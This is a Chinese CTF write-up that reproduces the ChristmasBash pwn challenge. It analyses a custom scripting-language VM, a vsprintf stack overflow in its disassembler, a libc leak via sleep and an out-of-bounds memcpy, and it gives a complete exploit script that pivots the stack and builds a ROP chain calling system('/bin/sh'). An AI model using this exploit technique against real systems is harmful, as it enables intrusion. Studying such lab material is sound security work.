0%

编译原理pwn2

ChristmasBash 复现

圣诞狂欢!,请尽情享受狂欢吧!现在你可以大声欢呼!但要注意,派对的主人似乎是个很谨慎的家伙~(题目源码包和 Christmas Song 题目一致,在 vm_call_lambdavm_opcode_call 位置细微差别请自行逆向)(运行 /home/ctf/getflag 可以得到 flag)

1
2
3
4
5
6
Christmas_Bash: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=08532310743c29a6ad38c1ca2f363e69856f4f9e, for GNU/Linux 3.2.0, with debug_info, not stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,Full RELRO,NX,PIE

漏洞分析

先用 cmake 进行编译:

1
2
3
4
mkdir build 
cd build
cmake ..
make

然后用 bindiff 对比改动的地方

1
2
3
4
5
if (is_func("Rudolph")){
// ret = write(arg1, arg2, arg3);
// No talking while singing Christmas Songs
printf("error: \n%s\n", rudolph);
}
  • 启用了 write 系统调用
1
2
3
4
5
6
7
8
9
10
void vm_opcode_jmp(arg){
int direction = get_code;
unsigned int offset = 0;
offset = (((get_code << 8) & 0xff) | (get_code & 0xff));
if (direction == J_FORWORD){
r->rip += offset;
} else {
r->rip -= offset;
}
}
  • lambda_get_code 函数的限制没了
1
2
3
4
5
6
7
8
9
10
void vm_call_lambda(lambda_t *l){
runtime_t *r = runtime_init();

// gift to Christmas Bash!
// Don't play too late for the party! Remember to sleep!

// gift_t * gift = gift_init("sleep", sleep);
// runtime_set_gift(r, gift);

while(r->is_run){
  • 将 sleep 变量的值设置成了 libc 中 sleep(暴露了 libc_base)

漏洞点如下:栈溢出

1
2
3
4
5
6
7
8
9
void line_fmt(pthis,int addr, char *fmt, ...){
va_list ap;
char buffer[0x80];

va_start(ap, fmt);
vsprintf(buffer, fmt, ap);
va_end(ap);
line_code(this, addr, buffer);
}
  • 函数 vsprintf 不会限制输入值的长度,因此造成了栈溢出
1
2
#define output(addr, fmt, ...) \
line_fmt(r, addr, fmt, ##__VA_ARGS__)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
void disasm_store(arg){
output(r->rip-2, "pop\t%s", get_word);
}

void disasm_load_number(arg){
output(r->rip-2, "push\t%d", get_number);
}

void disasm_load_string(arg){
output(r->rip-2, "push\t\"%s\"", get_string);
}

void disasm_load_word(arg){
output(r->rip-2, "push\t%s", get_word);
}
  • 在程序提供的 “反编译” 功能中会使用 output 函数

入侵思路

由于我们不知道 flag 的名称与位置,因此不能直接 open 然后读 flag,取而代之的是执行 system("/home/ctf/getflag")

先使用 docker-compose up 搭建 docker 环境:

1
2
3
4
5
6
7
8
9
10
11
12
13
➜  docker docker ps -a
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
5d2430956d4f docker-ctf "/start.sh" About a minute ago Exited (137) 43 seconds ago bash
605ade18838a shell-shellgame "/jail/run" 6 days ago Exited (0) 5 days ago shell-shellgame-1
07a27b85d3e0 injection20-injection2.0 "/bin/sh -c 'exec /b…" 2 months ago Up 2 hours 0.0.0.0:13000->8888/tcp, :::13000->8888/tcp injection20-injection2.0-1
➜ docker docker start 5d2430956d4f
5d2430956d4f
➜ docker docker run -it docker-ctf /bin/bash
root@d89518d639bd:/home/ctf#
root@d89518d639bd:/home/ctf# ldd Christmas_Bash
linux-vdso.so.1 (0x00007ffe0e7e1000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fbaa68cf000)
/lib64/ld-linux-x86-64.so.2 (0x00007fbaa6b08000)

以获取远程 libc 版本:

1
➜  docker docker cp d89518d639bd:/lib/x86_64-linux-gnu/libc.so.6 /home/yhellow/桌面

在 IDA 中分析 libc 版本:

1
GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3.1) stable release version 2.35.

这里不知道为什么,docker 中的版本和原题目版本不一样(可能是时间太长了吧),这里我就用 docker 中的版本来进行复现

这里我们可以先在 “Rudolph函数”(write)处打上断点,编译并运行如下代码:

1
2
3
4
5
gift leak is sleep;
gift fd is 1;
gift size is 8;

reindeer Rudolph delivering gift fd leak size;

结果如下:

1
2
3
4
0x5563735b5231    call   write@plt                <write@plt>
fd: 0x1 (/dev/pts/0)
buf: 0x7f95234845e0 (sleep) ◂— endbr64
n: 0x8
  • 通过 sleep 就可以泄露 libc_base

接下来先看另一处代码示例:

1
2
3
4
5
6
gift var is "12345678";
gift offset is 1000;
reindeer Vixen delivering gift stdoutj var tmp;

gift var is var + offset;
reindeer Vixen delivering gift stdoutj var tmp;

结果如下:

1
2
3
4
0x55cb4628832d    call   memcpy@plt                <memcpy@plt>
dest: 0x7fd39ad0f858 (_IO_2_1_stdout_+216) —▸ 0x7fd39ad0b600 (_IO_file_jumps) ◂— 0x0
src: 0x55cb47a105b0 ◂— '12345678'
n: 0x8
1
2
3
4
0x55cb4628832d    call   memcpy@plt                <memcpy@plt>
dest: 0x7fd39ad0f858 (_IO_2_1_stdout_+216) ◂— 0x3837363534333231 ('12345678')
src: 0x55cb47a10998 —▸ 0x55cb47a109c0 —▸ 0x55cb47a106f0 ◂— 0x73706d756a /* 'jumps' */
n: 0x8
  • 由于该程序内部不区分数据和指针,因此对指针的 “加操作” 可能会造成越界

在原来的 libc 版本中,程序是可以覆盖 vtable 从而 getshell 的,但是现在 docker 中的 libc 版本过高,有对 vtable 的检查(vtable 必须处于一个范围中),因此只能考虑利用 line_fmt 中的栈溢出

先看一个测试:(记录为 overflow.scom

1
gift aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbbbbbcccccccc is 1;
1
2
3
4
5
6
7
8
pwndbg> telescope 0x7fff929b0250
00:00000x7fff929b0250 ◂— 0x6161616109706f70 ('pop\taaaa')
01:00080x7fff929b0258 ◂— 0x6161616161616161 ('aaaaaaaa')
......
28:01400x7fff929b0390 ◂— 'aaaaaaaaaaaaaaaabbbbbbbbcccccccc'
29:01480x7fff929b0398 ◂— 'aaaaaaaabbbbbbbbcccccccc'
2a:0150│ rbp 0x7fff929b03a0 ◂— 'bbbbbbbbcccccccc'
2b:01580x7fff929b03a8 ◂— 'cccccccc'

现在需要考虑的问题就是把栈迁移到堆上,在调试时看到了这样的结构:

1
2
3
4
5
6
7
  0x556377fe37a8    nop    
0x556377fe37a9 leave
0x556377fe37aa ret

0x556377fe2d07 nop
0x556377fe2d08 leave
0x556377fe2d09 ret
  • 如果可以伪造一个 fake_rbp 就可以完成栈迁移

预期解的思路就是在 Christmas_Bash -r 中修改 exp.scom,将其变为 overflow.scom

1
2
3
4
5
6
7
8
➜  bash_2ctfer hexdump -C overflow.scom
00000000 53 43 4f 4d 5f 4c 5a 00 04 00 00 00 01 00 00 00 |SCOM_LZ.........|
00000010 01 00 00 00 01 00 00 00 00 00 00 00 01 00 00 00 |................|
00000020 5c 01 00 00 61 61 61 61 61 61 61 61 61 61 61 61 |\...aaaaaaaaaaaa|
00000030 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 |aaaaaaaaaaaaaaaa|
*
00000170 62 62 62 62 62 62 62 62 63 63 63 63 63 63 63 63 |bbbbbbbbcccccccc|
00000180
  • 同时修改尾部的 bbbbbbbb 使其变为 fake_rbp

测试代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
gift file is "./exp.scom";
gift fileo is "./overflow.scom";
gift oflag is 66;
gift mode is 432;
gift fd is 0;
gift fdo is 0;

gift header is "111111111111111111111111111111111111";
gift size is 36;

gift var is "12345678";
gift offset is 112;
gift var is var + offset;

reindeer Dancer delivering gift file oflag mode brings back gift fd;
reindeer Dancer delivering gift fileo oflag mode brings back gift fdo;
reindeer Dasher delivering gift fdo header size;
reindeer Rudolph delivering gift fd header size;

gift pad is "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
gift size is 64;
reindeer Rudolph delivering gift fd pad size;
gift size is 64;
reindeer Rudolph delivering gift fd pad size;
gift size is 64;
reindeer Rudolph delivering gift fd pad size;
gift size is 64;
reindeer Rudolph delivering gift fd pad size;
gift size is 64;
reindeer Rudolph delivering gift fd pad size;

gift pad is "bbbbbbbbbbbb";
gift size is 12;
reindeer Rudolph delivering gift fd pad size;

gift size is 7;
reindeer Rudolph delivering gift fd var size;
  • 调试命令为 Christmas_Bash -r exp.scom -d exp.scom,这样程序在堆上保存的数据任然能被使用
1
2
3
2a:0150│ rbp 0x7ffe2af580b0 —▸ 0x564522d00660 ◂— './overflow.scom'
2b:01580x7ffe2af580b8 —▸ 0x564522125d07 ◂— nop
2c:01600x7ffe2af580c0 —▸ 0x564522d00ff0 ◂— 0x4
1
2
*RSP  0x564522d00668 ◂— 0x6d6f63732e776f /* 'ow.scom' */
*RIP 0x564522125d09 ◂— ret
  • 栈迁移完成

最后一个问题就是如果布置 ROP 链:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
gift size is 8;
gift offset is 1864;
gift arga is var + offset;
gift arg is arg - 272;
reindeer Vixen delivering gift arg arga size;

gift size is 8;
gift offset is 2120;
gift arga is var + offset;
gift arg is arg + 8;
reindeer Vixen delivering gift arg arga size;

gift size is 8;
gift offset is 2008;
gift arga is var + offset;
gift arg is arg + 8;
reindeer Vixen delivering gift arg arga size;

gift size is 8;
gift offset is 1928;
gift arga is var + offset;
gift arg is arg + 8;
reindeer Vixen delivering gift arg arga size;
  • 使用 “Vixen” 功能中的 memcpy 写 ROP 链即可
1
2
3
4
00:0000│ rsp 0x55e1e4cb06e8 —▸ 0x7f54c39463e5 (iconv+197) ◂— pop    rdi
01:00080x55e1e4cb06f0 —▸ 0x7f54c3af4698 ◂— 0x68732f6e69622f /* '/bin/sh' */
02:00100x55e1e4cb06f8 —▸ 0x7f54c3945cd6 ◂— ret
03:00180x55e1e4cb0700 —▸ 0x7f54c396cd60 (system) ◂— endbr64

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
gift libcbase is sleep - 959968;
gift system is libcbase + 331104;
gift poprdi is libcbase + 173029;
gift ret is libcbase + 171222;
gift binsh is libcbase + 1935000;

gift tmp is 8;

gift file is "./exp.scom";
gift fileo is "./overflow.scom";
gift oflag is 66;
gift mode is 432;
gift fd is 0;
gift fdo is 0;

gift header is "111111111111111111111111111111111111";
gift size is 36;

gift var is "12345678";
gift offset is 312;
gift arg is var + offset;

reindeer Dancer delivering gift file oflag mode brings back gift fd;
reindeer Dancer delivering gift fileo oflag mode brings back gift fdo;
reindeer Dasher delivering gift fdo header size;
reindeer Rudolph delivering gift fd header size;

gift pad is "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
gift size is 64;
reindeer Rudolph delivering gift fd pad size;
gift size is 64;
reindeer Rudolph delivering gift fd pad size;
gift size is 64;
reindeer Rudolph delivering gift fd pad size;
gift size is 64;
reindeer Rudolph delivering gift fd pad size;
gift size is 64;
reindeer Rudolph delivering gift fd pad size;
gift pad is "bbbbbbbbbbbb";
gift size is 12;
reindeer Rudolph delivering gift fd pad size;
gift size is 7;
reindeer Rudolph delivering gift fd arg size;

gift size is 8;
gift offset is 1864;
gift arga is var + offset;
gift arg is arg - 272;
reindeer Vixen delivering gift arg arga size;

gift size is 8;
gift offset is 2120;
gift arga is var + offset;
gift arg is arg + 8;
reindeer Vixen delivering gift arg arga size;

gift size is 8;
gift offset is 2008;
gift arga is var + offset;
gift arg is arg + 8;
reindeer Vixen delivering gift arg arga size;

gift size is 8;
gift offset is 1928;
gift arga is var + offset;
gift arg is arg + 8;
reindeer Vixen delivering gift arg arga size;

结果如下:

1
2
3
4
5
➜  bash_2ctfer ./Christmas_Bash1 -c exp.slang                      
compile file scom
➜ bash_2ctfer ./Christmas_Bash1 -r exp.scom -d exp.scom
$ whoami
yhellow